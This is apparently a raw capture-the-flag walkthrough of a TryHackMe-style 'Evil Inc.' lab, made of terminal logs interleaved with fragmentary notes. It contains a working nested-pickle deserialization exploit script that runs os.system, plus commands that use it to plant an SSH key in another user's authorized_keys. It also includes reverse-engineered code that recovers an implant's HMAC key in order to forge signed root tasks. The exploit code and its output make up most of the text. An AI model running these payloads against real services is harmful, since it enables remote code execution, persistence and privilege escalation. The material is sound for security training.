 evilinc-c2.service                      'snap-amazon\x2dssm\x2dagent-13349.mount'   sshd-keygen@.service.d
 evilinc-heartbeat.service               'snap-amazon\x2dssm\x2dagent-9881.mount'    sudo.service
 evilinc-implant.service                  snap-core-17292.mount                      suspend-then-hibernate.target.wants
 evilinc-panel.service                    snap-core18-1885.mount                     suspend.target.wants
 final.target.wants                       snap-core18-2999.mount                     sysinit.target.wants
 fwupd-refresh.timer                      snap-core20-2379.mount                     syslog.service
 getty.target.wants                       snap-core20-2866.mount                     timers.target.wants
 hibernate.target.wants                   snap-core22-1621.mount                     vmtoolsd.service
 hybrid-sleep.target.wants                snap-core22-2411.mount
 iscsi.service                            snap-lxd-29619.mount
norm@tryhackme-2404:/etc/systemd/system$ cat evilinc-*
[Unit]
Description=Evil Inc. tasking queue (root, loopback unix socket)
After=network.target

[Service]
User=root
Group=root
WorkingDirectory=/opt/evilinc/c2
ExecStart=/usr/bin/python3 /opt/evilinc/c2/tasking_server.py
Restart=always
RestartSec=2
RuntimeDirectory=evilinc
RuntimeDirectoryMode=0755

[Install]
WantedBy=multi-user.target
[Unit]
Description=Evil Inc. tasking heartbeat
After=evilinc-c2.service
Requires=evilinc-c2.service
[Service]
User=root
WorkingDirectory=/opt/evilinc/c2
ExecStart=/usr/bin/python3 /opt/evilinc/c2/heartbeat.py
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
[Unit]
Description=Evil Inc. root tasking implant
After=evilinc-c2.service
Requires=evilinc-c2.service
[Service]
User=root
ExecStart=/opt/evilinc/implant
Restart=always
RestartSec=3
[Install]
WantedBy=multi-user.target
[Unit]
Description=Evil Inc. -inator Control Panel (internal, loopback only)
After=network.target

[Service]
User=vanessa
Group=vanessa
WorkingDirectory=/var/www/evilinc-panel
Environment=EIC_PANEL_CONF=/etc/evilinc/panel.conf
ExecStart=/usr/bin/gunicorn --bind 127.0.0.1:8700 --workers 2 app:app
Restart=always
RestartSec=2

[Install]
WantedBy=multi-user.target
norm@tryhackme-2404:/etc/systemd/system$ cat /etc/evilinc/panel.conf
[panel]
operator_secret = b3hind_sch3dul3_th1s_m0nth
norm@tryhackme-2404:/etc/systemd/system$ ls -la /run/evilinc/tasking.sock
srw-rw---- 1 root vanessa 0 Aug 11 12:08 /run/evilinc/tasking.sock
norm@tryhackme-2404:/etc/systemd/system$ cat /run/evilinc/tasking.sock
cat: /run/evilinc/tasking.sock: Permission denied
norm@tryhackme-2404:/etc/systemd/system$ curl -s http://127.0.0.1:8700
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Evil Inc. // -inator Control Panel</title>
<style>
  :root {
    --bg: #0a0c0f;
    --panel: #12161c;
    --line: #1e2630;
    --ink: #c9d3de;
    --dim: #6b7787;
    --accent: #7c5cff;
    --warn: #ff5c7c;
  }
  * { box-sizing: border-box; }
  body {
    margin: 0;
    background: var(--bg);
    color: var(--ink);
    font-family: system-ui, -apple-system, Segoe UI, Roboto, sans-serif;
    font-size: 14px;
    line-height: 1.5;
  }
  header {
    padding: 18px 24px;
    border-bottom: 1px solid var(--line);
    display: flex;
    align-items: baseline;
    gap: 14px;
  }
  header h1 { font-size: 15px; letter-spacing: .12em; text-transform: uppercase; margin: 0; }
  header .tag { color: var(--dim); font-size: 12px; letter-spacing: .18em; }
  main { max-width: 720px; margin: 0 auto; padding: 32px 24px; }
  .card {
    background: var(--panel);
    border: 1px solid var(--line);
    border-radius: 8px;
    padding: 20px 22px;
    margin-bottom: 20px;
  }
  .card h2 { font-size: 12px; letter-spacing: .16em; text-transform: uppercase; color: var(--dim); margin: 0 0 12px; }
  .status { font-size: 13px; }
  .status.ok { color: var(--accent); }
  .status.no { color: var(--warn); }
  code { background: #0d1116; border: 1px solid var(--line); border-radius: 4px; padding: 1px 6px; color: var(--ink); }
  .foot { color: var(--dim); font-size: 12px; margin-top: 28px; }
</style>
</head>
<body>
<header>
  <h1>-inator Control Panel</h1>
  <span class="tag">DOOFENSHMIRTZ EVIL INCORPORATED &middot; INTERNAL &middot; 127.0.0.1</span>
</header>
<main>
  <div class="card">
    <h2>Session</h2>

      <div class="status no">&#9679; No valid operator token. Authenticate by POSTing the operator secret to <code>/api/login</code> (field <code>secret</code>).</div>

  </div>

  <div class="card">
    <h2>Blueprint Import</h2>
    <p>Push a serialized -inator blueprint to <code>POST /api/blueprints/import</code>
       (field <code>blueprint</code>, base64). Grab a sample layout from
       <code>GET /api/blueprints/export</code>.</p>
    <p style="color:var(--dim)">Imports are validated by the restricted blueprint
       loader before rendering.</p>
  </div>

  <div class="foot">
    Norm keeps importing broken layouts. If a blueprint fails to load, the loader
    returns the reason. &mdash; Vanessa
  </div>
</main>
</body>
</html>

norm@tryhackme-2404:/etc/systemd/system$ curl -s http://127.0.0.1:8700/api/blueprints/export
{"blueprint":"gASVRgAAAAAAAAB9lCiMBG5hbWWUjA5Nb250aGx5IERpZ2VzdJSMCHNlY3Rpb25zlF2UKIwFaW50cm+UjAdzY2hlbWVzlIwFb3V0cm+UZXUu"}
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh -L 8700:localhost:8700 norm@10.48.151.215
norm@10.48.151.215's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 7.0.0-1010-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue Aug 11 13:38:31 UTC 2026

  System load:  0.09               Temperature:           -273.1 C
  Usage of /:   21.4% of 19.31GB   Processes:             132
  Memory usage: 18%                Users logged in:       1
  Swap usage:   0%                 IPv4 address for ens5: 10.48.151.215

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Aug 11 13:19:36 2026 from 192.168.139.157
norm@tryhackme-2404:~$
None 
norm@tryhackme-2404:/etc/systemd/system$ cat /etc/evilinc/panel.conf
[panel]
operator_secret = b3hind_sch3dul3_th1s_m0nth
None None None

Add cookie value

None None

New request

None None

Phase 3: Privilege Escalation (Python Pickle Deserialization)

  1. Service Reconnaissance: Search for running services and interesting binary files in /opt. Identify an endpoint interacting with a local socket, likely handling task serialization.
  2. Identifying the Vulnerability: Analyze the service traffic or binary behavior to discover it uses Python pickle for serialization. Pickle is inherently insecure; deserializing untrusted data allows for Arbitrary Code Execution (ACE).
  3. Payload Generation: Create a custom Python script to generate a malicious serialized pickle payload. This payload should execute a command to modify authorized keys or escalate permissions to the Vanessa user account.
  • Method: Use pickle.loads() logic to trigger system-level commands upon deserialization.

Safely Inspecting the Payload (No Code Execution)

import base64
import pickletools
# The suspicious base64-encoded pickle string
b64_payload = "gASVRgAAAAAAAAB9lCiMBG5hbWWUjA5Nb250aGx5IERpZ2VzdJSMCHNlY3Rpb25zlF2UKIwFaW50cm+UjAdzY2hlbWVzlIwFb3V0cm+UZXUu"
# Step 1: Decode the base64 string into bytes
pickle_bytes = base64.b64decode(b64_payload)
# Step 2: Disassemble the pickle byte stream SAFELY
print("--- Pickle Disassembly ---")
pickletools.dis(pickle_bytes)
└─$ python3 e.py
--- Pickle Disassembly ---
    0: \x80 PROTO      4
    2: \x95 FRAME      70
   11: }    EMPTY_DICT
   12: \x94 MEMOIZE    (as 0)
   13: (    MARK
   14: \x8c     SHORT_BINUNICODE 'name'
   20: \x94     MEMOIZE    (as 1)
   21: \x8c     SHORT_BINUNICODE 'Monthly Digest'
   37: \x94     MEMOIZE    (as 2)
   38: \x8c     SHORT_BINUNICODE 'sections'
   48: \x94     MEMOIZE    (as 3)
   49: ]        EMPTY_LIST
   50: \x94     MEMOIZE    (as 4)
   51: (        MARK
   52: \x8c         SHORT_BINUNICODE 'intro'
   59: \x94         MEMOIZE    (as 5)
   60: \x8c         SHORT_BINUNICODE 'schemes'
   69: \x94         MEMOIZE    (as 6)
   70: \x8c         SHORT_BINUNICODE 'outro'
   77: \x94         MEMOIZE    (as 7)
   78: e            APPENDS    (MARK at 51)
   79: u        SETITEMS   (MARK at 13)
   80: .    STOP
highest protocol among opcodes = 4
┌──(kali㉿kali)-[~/Downloads]
└─$ curl -s http://127.0.0.1:8700/api/blueprints/export

{"blueprint":"gASVRgAAAAAAAAB9lCiMBG5hbWWUjA5Nb250aGx5IERpZ2VzdJSMCHNlY3Rpb25zlF2UKIwFaW50cm+UjAdzY2hlbWVzlIwFb3V0cm+UZXUu"}
norm@tryhackme-2404:~$ curl -sS -i \
  -c panel.cookies \
  -X POST http://127.0.0.1:8700/api/login \
  -d 'secret=b3hind_sch3dul3_th1s_m0nth'
HTTP/1.1 200 OK
Server: gunicorn
Date: Tue, 11 Aug 2026 13:57:26 GMT
Connection: close
Content-Type: application/json
Content-Length: 12
Set-Cookie: op_token=ce73de7cfa02d80495a882bd28191d3bf38e4c0bf03635451ae6b9f9fefef3f9; HttpOnly; Path=/

{"ok":true}
norm@tryhackme-2404:~$ ls
panel.cookies  user.txt
norm@tryhackme-2404:~$ cat panel.cookies
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

#HttpOnly_127.0.0.1     FALSE   /       FALSE   0       op_token        ce73de7cfa02d80495a882bd28191d3bf38e4c0bf03635451ae6b9f9fefef3f9

Verify authenticated import using the exported sample

norm@tryhackme-2404:~$ curl -sS \
  -b panel.cookies \
  -X POST http://127.0.0.1:8700/api/blueprints/import \
  --data-urlencode \
  'blueprint=gASVRgAAAAAAAAB9lCiMBG5hbWWUjA5Nb250aGx5IERpZ2VzdJSMCHNlY3Rpb25zlF2UKIwFaW50cm+UjAdzY2hlbWVzlIwFb3V0cm+UZXUu'
{"loaded":"{'name': 'Monthly Digest', 'sections': ['intro', 'schemes', 'outro']}","ok":true}

== nested pickle Escaping the restricted pickle loader ==

┌──(kali㉿kali)-[~/Downloads]
└─$ cat p.py
#!/usr/bin/env python3
import base64
import os
import pickle
import sys

command = sys.argv[1]

class Inner:
    def __reduce__(self):
        return os.system, (command,)

inner_blob = pickle.dumps(Inner(), protocol=4)

class Outer:
    def __reduce__(self):
        return pickle.loads, (inner_blob,)

print(base64.b64encode(pickle.dumps(Outer(), protocol=4)).decode())
──(kali㉿kali)-[~/Downloads]
└─$ python3 p.py 'id > /tmp/vanessa_id'

gASVVgAAAAAAAACMB19waWNrbGWUjAVsb2Fkc5STlEM6gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBRpZCA+IC90bXAvdmFuZXNzYV9pZJSFlFKULpSFlFKULg==
norm@tryhackme-2404:~$ PAYLOAD=gASVVgAAAAAAAACMB19waWNrbGWUjAVsb2Fkc5STlEM6gASVLwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBRpZCA+IC90bXAvdmFuZXNzYV9pZJSFlFKULpSFlFKULg==
norm@tryhackme-2404:~$ curl -sS \
  -b panel.cookies \
  -X POST http://127.0.0.1:8700/api/blueprints/import \
  --data-urlencode "blueprint=$PAYLOAD"
{"loaded":"0","ok":true}
norm@tryhackme-2404:~$ ls /tmp
snap-private-tmp
systemd-private-893dcd36b0614d3f94d2d700f0f8f44c-apache2.service-kmEwIy
systemd-private-893dcd36b0614d3f94d2d700f0f8f44c-polkit.service-WeEMLv
systemd-private-893dcd36b0614d3f94d2d700f0f8f44c-systemd-logind.service-GpetwO
systemd-private-893dcd36b0614d3f94d2d700f0f8f44c-systemd-resolved.service-zxkHtG
systemd-private-893dcd36b0614d3f94d2d700f0f8f44c-systemd-timesyncd.service-AP3Y0z
vanessa_id
norm@tryhackme-2404:~$ cat /tmp/vanessa_id
uid=1002(vanessa) gid=1003(vanessa) groups=1003(vanessa),1001(evilinc)
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh-keygen -t rsa -b 2048 -f ./ctf_key -N ""

Generating public/private rsa key pair.
Your identification has been saved in ./ctf_key
Your public key has been saved in ./ctf_key.pub
The key fingerprint is:
SHA256:kJas1yWOUm5HAv7sKf2WhCIkGJIRBRRp3tSjJELKLbk kali@kali
The key's randomart image is:
+---[RSA 2048]----+
|*X+ o            |
|B+o+ = o         |
|B==.o X o .      |
|o.+o B B o       |
| E  o B.S        |
|  . .*.o.        |
|   ...+. .       |
|     . .o        |
|       ..        |
+----[SHA256]-----+

┌──(kali㉿kali)-[~/Downloads]
└─$ cat ctf_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg/DMGKvWs4C9yMWGB7ve6vv8F8xcSjNUSMh4nsOSYImbxs03GY0QU0Ay4ZU94kTcZdglzO3JU2ePLWI/9lIUh8ZkYQWtQgFLcuIWuy1RS3ErnUGwrpKRcHNbr0klR+J444JQyPKg5Fh+wI3ATkQOyj7zKPrAh6PCopkZGN8QGLUxIV7egHs8czjodo/rMkrvfW2vVXzZbEc+G6zNcOU9a3hhtI9EdZ8ErCaA/pGLazXioBU0NXszhKDma+rpusE4lWBPoRXL//HigWw8XmuPLLiHGnERk5jdQ5XKQksAS7Lo6axsK1ofIpnN91ukR73xLWVqesVL5pVcr8lnyvPIL kali@kali

┌──(kali㉿kali)-[~/Downloads]
└─$ base64 -w0 ctf_key.pub
c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFEZy9ETUdLdldzNEM5eU1XR0I3dmU2dnY4Rjh4Y1NqTlVTTWg0bnNPU1lJbWJ4czAzR1kwUVUwQXk0WlU5NGtUY1pkZ2x6TzNKVTJlUExXSS85bElVaDhaa1lRV3RRZ0ZMY3VJV3V5MVJTM0VyblVHd3JwS1JjSE5icjBrbFIrSjQ0NEpReVBLZzVGaCt3STNBVGtRT3lqN3pLUHJBaDZQQ29wa1pHTjhRR0xVeElWN2VnSHM4Y3pqb2RvL3JNa3J2ZlcydlZYelpiRWMrRzZ6TmNPVTlhM2hodEk5RWRaOEVyQ2FBL3BHTGF6WGlvQlUwTlhzemhLRG1hK3JwdXNFNGxXQlBvUlhMLy9IaWdXdzhYbXVQTExpSEduRVJrNWpkUTVYS1Frc0FTN0xvNmF4c0sxb2ZJcG5OOTF1a1I3M3hMV1ZxZXNWTDVwVmNyOGxueXZQSUwga2FsaUBrYWxpCg==
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 p.py 'mkdir -p /home/vanessa/.ssh;echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFEZy9ETUdLdldzNEM5eU1XR0I3dmU2dnY4Rjh4Y1NqTlVTTWg0bnNPU1lJbWJ4czAzR1kwUVUwQXk0WlU5NGtUY1pkZ2x6TzNKVTJlUExXSS85bElVaDhaa1lRV3RRZ0ZMY3VJV3V5MVJTM0VyblVHd3JwS1JjSE5icjBrbFIrSjQ0NEpReVBLZzVGaCt3STNBVGtRT3lqN3pLUHJBaDZQQ29wa1pHTjhRR0xVeElWN2VnSHM4Y3pqb2RvL3JNa3J2ZlcydlZYelpiRWMrRzZ6TmNPVTlhM2hodEk5RWRaOEVyQ2FBL3BHTGF6WGlvQlUwTlhzemhLRG1hK3JwdXNFNGxXQlBvUlhMLy9IaWdXdzhYbXVQTExpSEduRVJrNWpkUTVYS1Frc0FTN0xvNmF4c0sxb2ZJcG5OOTF1a1I3M3hMV1ZxZXNWTDVwVmNyOGxueXZQSUwga2FsaUBrYWxpCg== | base64 -d >> /home/vanessa/.ssh/authorized_keys;chmod 700 /home/vanessa/.ssh;chmod 600 /home/vanessa/.ssh/authorized_keys'

gASV8QIAAAAAAACMB19waWNrbGWUjAVsb2Fkc5STlELSAgAAgASVxwIAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUWKkCAABta2RpciAtcCAvaG9tZS92YW5lc3NhLy5zc2g7ZWNobyBjM05vTFhKellTQkJRVUZCUWpOT2VtRkRNWGxqTWtWQlFVRkJSRUZSUVVKQlFVRkNRVkZFWnk5RVRVZExkbGR6TkVNNWVVMVhSMEkzZG1VMmRuWTRSamg0WTFOcVRsVlRUV2cwYm5OUFUxbEpiV0o0Y3pBelIxa3dVVlV3UVhrMFdsVTVOR3RVWTFwa1oyeDZUek5LVlRKbFVFeFhTUzg1YkVsVmFEaGFhMWxSVjNSUlowWk1ZM1ZKVjNWNU1WSlRNMFZ5YmxWSGQzSndTMUpqU0U1aWNqQnJiRklyU2pRME5FcFJlVkJMWnpWR2FDdDNTVE5CVkd0UlQzbHFOM3BMVUhKQmFEWlFRMjl3YTFwSFRqaFJSMHhWZUVsV04yVm5TSE00WTNwcWIyUnZMM0pOYTNKMlpsY3lkbFpZZWxwaVJXTXJSelo2VG1OUFZUbGhNMmhvZEVrNVJXUmFPRVZ5UTJGQkwzQkhUR0Y2V0dsdlFsVXdUbGh6ZW1oTFJHMWhLM0p3ZFhORk5HeFhRbEJ2VWxoTUx5OUlhV2RYZHpoWWJYVlFURXhwU0VkdVJWSnJOV3BrVVRWWVMxRnJjMEZUTjB4dk5tRjRjMHN4YjJaSmNHNU9PVEYxYTFJM00zaE1WMVp4WlhOV1REVndWbU55T0d4dWVYWlFTVXdnYTJGc2FVQnJZV3hwQ2c9PSB8IGJhc2U2NCAtZCA+PiAvaG9tZS92YW5lc3NhLy5zc2gvYXV0aG9yaXplZF9rZXlzO2NobW9kIDcwMCAvaG9tZS92YW5lc3NhLy5zc2g7Y2htb2QgNjAwIC9ob21lL3ZhbmVzc2EvLnNzaC9hdXRob3JpemVkX2tleXOUhZRSlC6UhZRSlC4=
norm@tryhackme-2404:~$ PAYLOAD='gASV8QIAAAAAAACMB19waWNrbGWUjAVsb2Fkc5STlELSAgAAgASVxwIAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUWKkCAABta2RpciAtcCAvaG9tZS92YW5lc3NhLy5zc2g7ZWNobyBjM05vTFhKellTQkJRVUZCUWpOT2VtRkRNWGxqTWtWQlFVRkJSRUZSUVVKQlFVRkNRVkZFWnk5RVRVZExkbGR6TkVNNWVVMVhSMEkzZG1VMmRuWTRSamg0WTFOcVRsVlRUV2cwYm5OUFUxbEpiV0o0Y3pBelIxa3dVVlV3UVhrMFdsVTVOR3RVWTFwa1oyeDZUek5LVlRKbFVFeFhTUzg1YkVsVmFEaGFhMWxSVjNSUlowWk1ZM1ZKVjNWNU1WSlRNMFZ5YmxWSGQzSndTMUpqU0U1aWNqQnJiRklyU2pRME5FcFJlVkJMWnpWR2FDdDNTVE5CVkd0UlQzbHFOM3BMVUhKQmFEWlFRMjl3YTFwSFRqaFJSMHhWZUVsV04yVm5TSE00WTNwcWIyUnZMM0pOYTNKMlpsY3lkbFpZZWxwaVJXTXJSelo2VG1OUFZUbGhNMmhvZEVrNVJXUmFPRVZ5UTJGQkwzQkhUR0Y2V0dsdlFsVXdUbGh6ZW1oTFJHMWhLM0p3ZFhORk5HeFhRbEJ2VWxoTUx5OUlhV2RYZHpoWWJYVlFURXhwU0VkdVJWSnJOV3BrVVRWWVMxRnJjMEZUTjB4dk5tRjRjMHN4YjJaSmNHNU9PVEYxYTFJM00zaE1WMVp4WlhOV1REVndWbU55T0d4dWVYWlFTVXdnYTJGc2FVQnJZV3hwQ2c9PSB8IGJhc2U2NCAtZCA+PiAvaG9tZS92YW5lc3NhLy5zc2gvYXV0aG9yaXplZF9rZXlzO2NobW9kIDcwMCAvaG9tZS92YW5lc3NhLy5zc2g7Y2htb2QgNjAwIC9ob21lL3ZhbmVzc2EvLnNzaC9hdXRob3JpemVkX2tleXOUhZRSlC6UhZRSlC4='
norm@tryhackme-2404:~$ curl -sS   -b panel.cookies   -X POST http://127.0.0.1:8700/api/blueprints/import   --data-urlencode "blueprint=$PAYLOAD"
{"loaded":"0","ok":true}
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh -i ctf_key vanessa@10.48.151.215
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 7.0.0-1010-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue Aug 11 14:10:12 UTC 2026

  System load:  0.0                Temperature:           -273.1 C
  Usage of /:   21.4% of 19.31GB   Processes:             140
  Memory usage: 18%                Users logged in:       1
  Swap usage:   0%                 IPv4 address for ens5: 10.48.151.215

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat Jul 25 13:37:19 2026 from 192.168.129.8
vanessa@tryhackme-2404:~$ ls
operator.txt
vanessa@tryhackme-2404:~$ cat operator.txt
EVILINC{p1ckl3_s4ndb0x3s_4r3_n0t_s4ndb0x3s}
vanessa@tryhackme-2404:~$ ls -la /opt/evilinc
total 28
drwxr-xr-x 3 root root  4096 Jul 26 14:12 .
drwxr-xr-x 3 root root  4096 Jul 24 10:15 ..
drwx------ 3 root root  4096 Jul 24 10:34 c2
-rwxr-xr-x 1 root root 14472 Jul 24 10:34 implant
vanessa@tryhackme-2404:~$ file /opt/evilinc/implant
/opt/evilinc/implant: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7226fed57eda8f66f34893a69ba94fceed53bacd, for GNU/Linux 3.2.0, stripped
vanessa@tryhackme-2404:~$ strings -a -t x /opt/evilinc/implant
    318 /lib64/ld-linux-x86-64.so.2
    6c1 __gmon_start__
    6d0 _ITM_deregisterTMCloneTable
    6ec _ITM_registerTMCloneTable
    706 EVP_sha256
    711 HMAC
    716 snprintf
    71f sleep
    725 strncpy
    72d __stack_chk_fail
    73e free
    743 fread
    749 strdup
    750 fopen
    756 system
    75d socket
    764 strlen
    76b realloc
    773 malloc
    77a atol
    77f __libc_start_main
    791 __cxa_finalize
    7a0 sprintf
    7a8 fclose
    7af memset
    7b6 connect
    7be strcmp
    7c5 write
    7cb strtok_r
    7d4 libcrypto.so.3
    7e3 libc.so.6
    7ed OPENSSL_3.0.0
    7fb GLIBC_2.34
    806 GLIBC_2.4
    810 GLIBC_2.2.5
   1371 PTE1
   140b u+UH
   16df ATSH
   17d4 [A\]
   2042 /etc/machine-id
   2052 %02x
   2057 /run/evilinc/tasking.sock
   2071 POLL %ld
   2083 %s|%s|%s|%s
   208f exec
   2094 sysinfo
   2157 9*3$"
   3010 GCC: (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
   303e .shstrtab
   3048 .interp
   3050 .note.gnu.property
   3063 .note.gnu.build-id
   3076 .note.ABI-tag
   3084 .gnu.hash
   308e .dynsym
   3096 .dynstr
   309e .gnu.version
   30ab .gnu.version_r
   30ba .rela.dyn
   30c4 .rela.plt
   30ce .init
   30d4 .plt.got
   30dd .plt.sec
   30e6 .text
   30ec .fini
   30f2 .rodata
   30fa .eh_frame_hdr
   3108 .eh_frame
   3112 .init_array
   311e .fini_array
   312a .dynamic
   3133 .data
   3139 .bss
   313e .comment
vanessa@tryhackme-2404:~$
──(kali㉿kali)-[~/Downloads]
└─$ scp norm@10.48.151.215:/opt/evilinc/implant ./implant
norm@10.48.151.215's password:
implant                                   100%   14KB 196.6KB/s   00:00

┌──(kali㉿kali)-[~/Downloads]
└─$ ls -la implant
-rwxr-xr-x 1 kali kali 14472 Aug 11 10:14 implant

Phase 4: Implant Reverse Engineering & Root Access

  1. Static Analysis: Copy the binary implant from /opt to your local machine. Use a disassembler like Ghidra to reverse engineer the binary logic. ⚙️
None None 
15 88 c5 7c 02 6a e5 eb 9c 2d 18 17 af 48 f7 09 64 ef ff 76 5e 58 d1 12 d8 f1 16 d7 0f 99 41 b4
None 
vanessa@tryhackme-2404:~$ cat /etc/machine-id
ec237b10a5f6e959a3088340f9904b31

Socket behavior

The implant repeatedly:

  1. Connects to /run/evilinc/tasking.sock.
None
  1. Sends POLL <last_processed_id>\n.
None
  1. Reads newline-separated tasks until END.
  2. Requires five pipe-separated fields.
  3. Rejects task IDs less than or equal to its last processed ID.
  4. Recalculates and compares the task HMAC.
  5. Calls system(command) when the task type is exec.

Task record:

id|type|command|nonce|signature

The signed portion excludes the signature:

id|type|command|nonce

Recovering the HMAC key

The implant does not store the final HMAC key directly. It generates a 32-byte stream using a fixed linear congruential generator:

state = 0x1A2B3C4D
state = (state * 0x41C64E6D + 0x3039) & 0xffffffff
output_byte = (state >> 16) & 0xff

It XORs that stream with this embedded 32-byte blob:

1588c57c026ae5eb9c2d1817af48f709
64efff765e58d112d8f116d70f9941b4

It then reads and trims /etc/machine-id and computes:

implant_key = HMAC_SHA256(xor_result, machine_id)

The target machine ID was:

ec237b10a5f6e959a3088340f9904b31

Reconstruction:

  • Identify the XOR-based encryption/decryption routines used to communicate with the internal C2 socket.
  • Replicate the algorithm in a Python script to calculate the correct signature required by the service protocol.
#!/usr/bin/env python3
import hashlib
import hmac

machine_id = b"ec237b10a5f6e959a3088340f9904b31"

blob = bytes.fromhex(
    "1588c57c026ae5eb9c2d1817af48f709"
    "64efff765e58d112d8f116d70f9941b4"
)

state = 0x1A2B3C4D
stream = bytearray()

for _ in range(32):
    state = (state * 0x41C64E6D + 0x3039) & 0xffffffff
    stream.append((state >> 16) & 0xff)

key_material = bytes(a ^ b for a, b in zip(blob, stream))
implant_key = hmac.new(key_material, machine_id, hashlib.sha256).digest()

print(implant_key.hex())
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 k.py
aa3e4980d20530450df2e4807cddc7a66f8391b79df9faaacde58b75bb483319

Derived key for this machine:

aa3e4980d20530450df2e4807cddc7a66f8391b79df9faaacde58b75bb483319

=== Validating the reverse engineering

As Vanessa, polling the socket returned signed heartbeat tasks such as:

printf 'POLL 0\n' |
  timeout 3 socat - UNIX-CONNECT:/run/evilinc/tasking.sock \
  > /tmp/socket-poll.txt
chmod 644 /tmp/socket-poll.txt
vanessa@tryhackme-2404:~$ printf 'POLL 0\n' |
  timeout 3 socat - UNIX-CONNECT:/run/evilinc/tasking.sock \
  > /tmp/socket-poll.txt
chmod 644 /tmp/socket-poll.txt
vanessa@tryhackme-2404:~$ cat /tmp/socket-poll.txt
10|sysinfo|uptime|1000|2b33d3bf90540c999ecd917150e514240cc02cef3cd4fece3486790681103718
20|sysinfo|uptime|1001|0f9e75af082404418e7eced42503f98b4a048591a242e7ef73a6627d60c2e54f
30|sysinfo|uptime|1002|7e5eb7a417e139eda6571dbfbfa5337d03abad322194e57fc511a2a79d7cda19
40|sysinfo|uptime|1003|859075cd3b94b29585b46ce6fdefc21ec098fd088788299576464b9f765a78a1
50|sysinfo|uptime|1004|55d145dccd5a6f18706b2540f7f5e0b1eb8ce6d27826162533f0fd2a86e8e30b
60|sysinfo|uptime|1005|5953c8fd263df03555320ee281d89ca9972d80fa3916ef9dec07a0f826224cba
70|sysinfo|uptime|1006|ba9748893069e0cf2dc5d894f6ee139be271c02c1f5096a2f83d5a8f3413faec
80|sysinfo|uptime|1007|91e2b0dce2c9b83e0c4ee63c2ce833582b9f55f6f2bbf0f25e3fe5722ed2460a
90|sysinfo|uptime|1008|7ca8d86257a7b67d4cfd81f030b037bf100ec6430b93bb27a0f2371b7c10a989
100|sysinfo|uptime|1009|854bff9599c97d3ede2e83f7fc170b8338b468901411b01c501434e2003cc873
110|sysinfo|uptime|1010|5583388d664f8df2f120a5b83c1d2b3b453f34c7ad425846c5e44e581eacb58f
120|sysinfo|uptime|1011|25404661bbf7aa75226d61d71866359a805cee32a06c96fffa05419a64452d40
130|sysinfo|uptime|1012|81c8400a4e162a477e01655daf997a79b694611b1126755d98a234f4ebf6517d
140|sysinfo|uptime|1013|b8de054b5fb813a36319aaa173ffbf3928f3aae1cb8a33bcbb0573e78c662c57
150|sysinfo|uptime|1014|8ff36b188ab13f128f2a3802b088c2224f1d78452c608d12ce2a9a4517579ed1
160|sysinfo|uptime|1015|04050fa2218d7542b66bc79e340e63fc268f7ce75452e3fa89d52ac69d0e5642
170|sysinfo|uptime|1016|c62b973243599379d0b0d61a67bca7cafb5f63c56fa0f96ca81505244e8252f4
180|sysinfo|uptime|1017|b8cacefa426ac457e1f88e36b6cf6406adfa847b3b521f5ce4557d9f5d7a16b2
190|sysinfo|uptime|1018|3c5a80a51cbaea11c66e7ce52a7d0051e841ddbd1a31ed118e6f12d65424f10c
200|sysinfo|uptime|1019|39cd9548b256e3279523d9506de051d1ef01fc815a7e6c00faf2dd05a5d250ec
210|sysinfo|uptime|1020|ffae5c304c73c45e4218f8d36558025d7065b36c31e7c12f98b06826af623ff9
220|sysinfo|uptime|1021|0a6d4f88e35ded031ba34ed606359f3dd1791c4f7be2bf849f690d6dc439b11d
230|sysinfo|uptime|1022|cbdae7f6827b13ffc00bcff772fd0c30545ddd38c8295fc14a66110583f57d36
240|sysinfo|uptime|1023|aac194d8948f11acd69fb87f3ad627980e0a8b7ae7dd6db0bada37cacad654a4
250|sysinfo|uptime|1024|ad165ef158eda70557604a2282704f6738f453b220032f1e1ad08c7c3c63fb15
260|sysinfo|uptime|1025|7f54f74daca636b8bbf190876e20d265133c74b47e5a572cb805ff98f5185da8
270|sysinfo|uptime|1026|74c20a36e59e36a96c73f42523bb4a9ae90f0458ee1570a5223e3a49634258b5
280|sysinfo|uptime|1027|d22c0f7e4c4027115fc5cdf563cfaccfb36408a77158d7e685fdefc13333723c
290|sysinfo|uptime|1028|23af36179c6d931b215566325c60c8d04456d16ab2e01bc07efb755687691dae
300|sysinfo|uptime|1029|104af3f110b9d1e7ae61ce81872c843d37b99ae0fc9b9fd2ab9756c7d724f49a
